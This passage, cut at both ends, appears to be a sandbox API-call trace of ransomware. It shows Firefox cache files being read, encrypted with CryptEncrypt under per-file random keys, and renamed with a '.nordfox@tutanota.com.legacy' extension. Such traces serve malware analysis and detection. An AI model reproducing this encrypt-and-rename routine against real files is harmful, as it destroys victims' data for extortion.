(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\445E695F447CA967C4DAE00C80034130290F80EA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\445e695f447ca967c4dae00c80034130290f80ea"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.135] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3580) returned 1 [0190.135] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfc) returned 0x30f3888 [0190.135] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfc) returned 0x30f4690 [0190.135] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0190.197] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.197] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0190.197] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfc [0190.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dbdd8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dbdd8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.198] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbdd8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbdd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.198] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.198] CloseHandle (hObject=0x1b80) returned 1 [0190.198] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\445E695F447CA967C4DAE00C80034130290F80EA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\445e695f447ca967c4dae00c80034130290f80ea"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\445E695F447CA967C4DAE00C80034130290F80EA.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\445e695f447ca967c4dae00c80034130290f80ea.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.217] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dbfe8 | out: pbBuffer=0x30dbfe8) returned 1 [0190.217] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.217] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\44437BAE601C72F5ED96953EAE92C527D4C2D46F", dwFileAttributes=0x80) returned 1 [0190.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db8b0 [0190.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.217] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\44437BAE601C72F5ED96953EAE92C527D4C2D46F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\44437bae601c72f5ed96953eae92c527d4c2d46f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.218] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4511) returned 1 [0190.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x119f) returned 0x30f3888 [0190.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x119f) returned 0x30f4a30 [0190.218] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x119f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x119f, lpOverlapped=0x0) returned 1 [0190.224] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.224] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4a30*, nNumberOfBytesToWrite=0x119f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4a30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x119f, lpOverlapped=0x0) returned 1 [0190.224] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x119f [0190.224] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.224] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dbfe8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dbfe8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.224] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbfe8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbfe8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.224] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.225] CloseHandle (hObject=0x1b80) returned 1 [0190.225] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\44437BAE601C72F5ED96953EAE92C527D4C2D46F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\44437bae601c72f5ed96953eae92c527d4c2d46f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\44437BAE601C72F5ED96953EAE92C527D4C2D46F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\44437bae601c72f5ed96953eae92c527d4c2d46f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db8b0 | out: pbBuffer=0x30db8b0) returned 1 [0190.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0190.227] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\43A641B524487AFDAC7A8AF548EE196228BF6EAE", dwFileAttributes=0x80) returned 1 [0190.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dcd50 [0190.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.227] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\43A641B524487AFDAC7A8AF548EE196228BF6EAE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\43a641b524487afdac7a8af548ee196228bf6eae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.228] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3885) returned 1 [0190.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf2d) returned 0x30f3888 [0190.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf2d) returned 0x30f47c0 [0190.228] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0190.229] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.229] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f47c0*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f47c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0190.229] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf2d [0190.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db8b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db8b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.230] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db8b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db8b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.230] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.230] CloseHandle (hObject=0x1b80) returned 1 [0190.230] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\43A641B524487AFDAC7A8AF548EE196228BF6EAE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\43a641b524487afdac7a8af548ee196228bf6eae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\43A641B524487AFDAC7A8AF548EE196228BF6EAE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\43a641b524487afdac7a8af548ee196228bf6eae.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db598 | out: pbBuffer=0x30db598) returned 1 [0190.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0190.232] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A", dwFileAttributes=0x80) returned 1 [0190.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dbbc8 [0190.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.232] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\407eb4de353de3ad4e1a29f0e0e84f65c2ce6e3a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.232] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1717) returned 1 [0190.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6b5) returned 0x619c48 [0190.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6b5) returned 0x30f3888 [0190.232] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x6b5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x6b5, lpOverlapped=0x0) returned 1 [0190.336] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.336] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x6b5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6b5, lpOverlapped=0x0) returned 1 [0190.337] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6b5 [0190.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db598*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db598*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.337] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db598*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.337] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.337] CloseHandle (hObject=0x1b80) returned 1 [0190.337] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\407eb4de353de3ad4e1a29f0e0e84f65c2ce6e3a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\407eb4de353de3ad4e1a29f0e0e84f65c2ce6e3a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc930 | out: pbBuffer=0x30dc930) returned 1 [0190.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.340] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4041F3B87A7EBA953DFE4576B8DB14478B01F9A4", dwFileAttributes=0x80) returned 1 [0190.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db598 [0190.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.340] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4041F3B87A7EBA953DFE4576B8DB14478B01F9A4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4041f3b87a7eba953dfe4576b8db14478b01f9a4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.341] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6732) returned 1 [0190.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a4c) returned 0x30f3888 [0190.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a4c) returned 0x30f52e0 [0190.341] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1a4c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a4c, lpOverlapped=0x0) returned 1 [0190.357] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6732, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.357] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f52e0*, nNumberOfBytesToWrite=0x1a4c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f52e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a4c, lpOverlapped=0x0) returned 1 [0190.357] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a4c [0190.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc930*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc930*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.357] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc930*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.358] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.358] CloseHandle (hObject=0x1b80) returned 1 [0190.358] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4041F3B87A7EBA953DFE4576B8DB14478B01F9A4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4041f3b87a7eba953dfe4576b8db14478b01f9a4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4041F3B87A7EBA953DFE4576B8DB14478B01F9A4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4041f3b87a7eba953dfe4576b8db14478b01f9a4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc828 | out: pbBuffer=0x30dc828) returned 1 [0190.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0190.363] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3FD2DE34D9F3B37F5EE298934463B811B5F45B88", dwFileAttributes=0x80) returned 1 [0190.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db8b0 [0190.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.363] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3FD2DE34D9F3B37F5EE298934463B811B5F45B88" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3fd2de34d9f3b37f5ee298934463b811b5f45b88"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.363] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=22447) returned 1 [0190.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x57af) returned 0x30df058 [0190.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x57af) returned 0x30e4810 [0190.364] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0x57af, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0x57af, lpOverlapped=0x0) returned 1 [0190.406] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-22447, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.406] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4810*, nNumberOfBytesToWrite=0x57af, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4810*, lpNumberOfBytesWritten=0x2e1f9bc*=0x57af, lpOverlapped=0x0) returned 1 [0190.406] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x57af [0190.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc828*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc828*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.406] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc828*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc828*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.406] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.406] CloseHandle (hObject=0x1b80) returned 1 [0190.407] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3FD2DE34D9F3B37F5EE298934463B811B5F45B88" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3fd2de34d9f3b37f5ee298934463b811b5f45b88"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3FD2DE34D9F3B37F5EE298934463B811B5F45B88.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3fd2de34d9f3b37f5ee298934463b811b5f45b88.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc408 | out: pbBuffer=0x30dc408) returned 1 [0190.409] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0190.409] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E98EE3664479D9428247C5B706A39C5F495B7AE", dwFileAttributes=0x80) returned 1 [0190.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc930 [0190.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.409] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E98EE3664479D9428247C5B706A39C5F495B7AE" (normalized: 